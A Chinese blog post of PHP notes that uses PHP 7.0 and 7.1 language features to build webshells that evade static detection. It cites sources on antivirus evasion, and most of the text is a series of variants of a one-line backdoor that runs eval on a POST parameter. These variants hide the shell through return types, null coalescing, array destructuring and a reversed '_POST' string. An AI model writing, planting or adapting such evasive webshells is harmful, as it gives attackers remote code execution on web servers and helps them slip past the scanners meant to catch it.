首页 > 编程语言 >php笔记

php笔记

时间:2022-11-20 20:36:22浏览次数:62  
标签:h3art3ars ######################################################################

php笔记

参考资料
https://zeo.cool/2020/12/31/webshell多种方法免杀/
https://h3art3ars.github.io/2020/02/27/利用php新特性过静态查杀/

函数记录

<?php phpinfo();
<% eval(requests(a));%>

echo file_put_contents(__DIR__ . '/aa.php',"Runoob");        # 在当前位置下生成aa.php  内容为Runoob 

PHP7.0.x 新特性

php7.0新特性  https://www.php.net/manual/zh/migration70.new-features.php

function a():int{
...
}
就是函数返回值类型要为int。否则会强制转换或者显示语法错误。

<?php
function b():string{
	return $_POST['h3art3ars'];
}
eval(b());
?>

##############################################################################################
$a=isset($_POST['a'])?$_POST['a']:'h3art3ars';
等价
$a=$_POST['a']??'h3art3ars';

如果变量存在且值不为NULL, 它就会返回自身的值,否则返回它的第二个操作数

<?php
function a(){
	$a=$b??$_POST['h3art3ars'];
	return $a;
}
eval(a());
?>

PHP7.1.x 新特性

php7.1新特性  https://www.php.net/manual/zh/migration71.new-features.php

##############################################################################################
可为空(Nullable)类型
<?php
function a(): ?string
{
    return $_POST['h3art3ars'];
}
eval(a());
 ?>
比7.1的特性多了个 ?函数返回值若不是给定类型,则为空。
##############################################################################################
短数组语法
<?php
function a(){
	$a=['h3art3ars',$_POST['h3art3ars']];
	[$c,$d]=$a;
	return $d;
}
eval(a());
?>
短数组语法([])现在作为list()语法的一个备选项,可以用于将数组的值赋给一些变量(包括在foreach中)。
##############################################################################################
list()现在支持键名
$data = ["id" => 1, "name" => 'h3art3ars'];
["id" => $a, "name" => $b] = $data;
//结果$a=1,$b='h3art3ars'

<?php
$a=["shell"=>'a',"c"=>$_POST['h3art3ars'],];
["shell"=>$c,"c"=>$b]=$a;

eval($b);
?>

函数再套一层
<?php
function a(){
$a=[
	"shell"=>'a',
	"c"=>$_POST['h3art3ars'],
	];
["shell"=>$c,"c"=>$b]=$a;
  return  $b;
}
eval(a());
?>
##############################################################################################
支持为负的字符串偏移量
<?php
$a="h3art3ars";
var_dump($a[-1]);
?>
这个在小于7.1版本中,负的偏移量返回空字串       7.1.x中返回 s,但是以前的版本中 返回 string(0) ""
<?php
$a="TSOP_";
$b=$a[-1].$a[-2].$a[-3].$a[-4].$a[-5];
$c=${"$b"}['h3art3ars'];
eval($c);
?>

标签:h3art3ars,######################################################################
From: https://www.cnblogs.com/startstart/p/16909425.html

相关文章

  • docker操作笔记
    docker操作笔记https://www.runoob.com/docker/docker-container-usage.html 菜鸟教程安装使用官方安装脚本自动安装安装命令如下:curl-fsSLhttps://get.docker.co......
  • Vue笔记 - 样式穿透原理及使用方法
    样式穿透目录样式穿透1.为什么需要样式穿透1.1为什么样式会失效2.如何使用样式穿透2.1实例1.为什么需要样式穿透在开发中引入了第三方组件库(如element-ui),但又想......
  • debian11安装php8
    1、​​https://www.php.net/downloads​​ 下载对应的版本sudowget​​​​https://www.php.net/distributions/php-8.1.12.tar.bz2​​2、tar-zxvfphp-8.1.12.tar.b......
  • Vue3笔记 - 浅析Vue2和Vue3响应式原理及两者差异
    浅析Vue2和Vue3响应式原理及两者差异目录浅析Vue2和Vue3响应式原理及两者差异vue2的响应式vue2中为数据添加响应式模拟Vue2实现响应式原理vue3的响应式vue3中为数据添加响......
  • JavaWeb笔记
    1.JavaEE项目的三层架构web层                    com.atguigu.web/servlet/controllerservice层         ......
  • 20201331 黄文刚 学习笔记12(第十四章)
    20201331黄文刚学习笔记12(第十四章)一、知识点归纳以及自己最有收获的内容知识点归纳摘要本章讨论了MySQL关系数据库系统;介绍了MySQL并指出了它的重要性;展示了如何在......
  • linux笔记
    1.图文并茂解释开源许可证GPL、BSD、MIT、Mozilla、Apache和LGPL的区别?什么是开源许可协议?自由软件/开源软件是自由的,免费的,源代码开放的,我们可自由下载安装和使用。同......
  • centos8 安装php7.4以上版本
    前面找到php因为某些软件对应的不同的版本,前面安装过忘记了后,然后有些忘记了特意记录一下遇见的一些问题 因为没有官方维护的源需要切换源才能进行安装;Centos8(Liu......
  • 《Unix/Linuv系统编程》第十四章学习笔记
    第14章MYSQL数据库系统MYSQL简介1.MySQL是一个关系型数据库管理系统,由瑞典MySQLAB公司开发,属于Oracle旗下产品。MySQL是最流行的关系型数据库管理系统之一,在WEB......
  • 第十四章学习笔记
    第14章:MySQL数据库摘要本章讨论了MySQL关系数据库系统;介绍了MySQL并指出了它的重要性;展示了如何在Linux机器上安装和运行MySQL;演示了如何使用MySQL在命令模式和批处......